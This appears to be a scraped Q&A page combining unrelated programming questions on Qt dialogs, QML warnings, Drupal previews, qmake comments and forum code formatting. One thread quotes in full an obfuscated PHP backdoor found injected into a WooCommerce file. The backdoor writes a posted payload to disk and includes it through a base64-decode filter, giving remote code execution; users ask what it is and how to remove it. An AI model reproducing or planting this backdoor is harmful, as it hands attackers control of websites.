QT: how to open a new window - qt

Well, I tried a lot.
For example,
#include "secdialog.h"
buttton ::on clicked()
{
secdialog secdialog;
secdialog.setmodal(true);
secdialog.exec();
}
Well, secdialog does not exist!
Those posts are old at least 5 years.
So, I think some headers are changed or I missed something to add.
Hopefully, I'll find someone to help me.
Easy example where to add headers and where to write...

#include "QDialog"
buttton::onClicked()
{
QDialog d;
d.exec();
}
Please also consult the documentation of QDialog. It may also be interesting to go through some basic examples.

Related

Strange code being added to woocommerce.php file

I have found this strange code within the core woocommerce.php file.
Does anyone understand what this code is trying to do? I suspect it is malware as it is not part of the core WooCommerce code.
I am trying to understand if it is being added by a plugin and is legitimate or if it is some form of virus/malware etc.
if (isset($_POST["_aey8iousjrkdf"],$_POST['WP_6cdd22']) && sha1($_POST['WP_6cdd22']) == "6cdd22ad6267ba73cd92bf8abd7ec2058740fa80") { $_oxyu = tempnam(sys_get_temp_dir(),"rlgalfarg"); file_put_contents($_oxyu,$_POST["_aey8iousjrkdf"]); require_once "php".":"."//filt"."e"."r/c"."onvert."."ba"."s"."e"."64-"."d"."e"."code/co"."n"."v"."er"."t.b"."a"."s"."e64-de"."co"."de/"."resou"."rce"."=".$_oxyu; unlink($_oxyu); die(); }
Had same problemm with this woocommerce.php. After removing code it just returning straight back. After researching and playing around I think I've found the way.
I have added /* just before "if" and all code turned into just a comment. Now second day and nothing new returning to the place.
Of course this is not the best way to do it and I'm not sure if it will stay as a comment but so far seems to be ok.
If somebody can find full removal way please share with us here.

Component{} Unknown component. (M300)

qml project config file:
my qml file:
qt version:
How to solve this problem?
This had been bugging me for a while. For me, the fix was that noted by #JarMan in the comments to the original question. I think it deserves to be a proper answer. (I'm mot looking to take any credit so if JarMan wants to make their own answer I am happy to delete this.)
In Qt Creator main menu:
Tools > QML/JS > Reset Code Model
For me, adding an addition line:
import QtQml 1.1
does trick.
you can resolve it by add "// #disable-check M300"
Like this:
Component { // #disable-check M300
//code
}

Drupal 8 Preview button not working

When using a custom front-end theme, the preview button for my content stops working. It just redirects to the content overview page.
Am I missing something in my theme that allows me to use the 'preview' function?
You most likely have the ?destination=admin/content in your URL. This is a core bug. The current discussion can be read at:
https://www.drupal.org/node/2325463
Jason Ruyle's answer is correct, I had the same problem and solved it by adding this code to my module:
use Drupal\Core\Entity\EntityInterface;
function my_module_entity_operation_alter(array &$operations, EntityInterface $entity) {
if (isset($operations['edit']['query'])) {
unset($operations['edit']['query']['destination']);
}
return $operations;
}
The code could also be improved to target the right entities, if needed.

Comments on .pro file Qt Creator

Is there anyway to comment certain sections of my .pro file (Qt project)?
In my case I want to comment specific parts that do not apply to the platform I'm currently targeting.
Found this now: http://doc.qt.io/qt-4.8/qmake-project-files.html.
You can comment lines by using a # symbol.
In the .pro file, # before any line or statement indicates a comment.
you have to place a # at the begin of each line.
I think Silva is looking for something like this in .pro file:
if(false) {
...
your block
...
}
This is the programmatic way to do commenting, and you have control of it. Similar approaches may available for other test functions.
If using QtCreator, highlight the section you wish to comment out, then right click for context menu and select 'Toggle Comment Selection'. This is good for large blocks code to comment out.

Inserting code in forums

If we insert code in asp.net forums we have to put any additional tags in code for displaying??because so many sides my code is not coming in questions but if we are going to edit question the code is coming
Look in the forum help ... most forums allow some type of inline code to be defined in blocks, such as the 'Code Sample' pre tags here in SO:
void main()
{
printf("Hello World\n");
return;
}
If you're specifically talking about Microsoft's ASP.NET forum, click the code button (looks like this: alt text http://forums.asp.net/tiny_mce/jscripts/tiny_mce/plugins/sourcecode/images/code.gif) and paste your code into the window that pops up. The site will do all the HTML tag translation for you.

Resources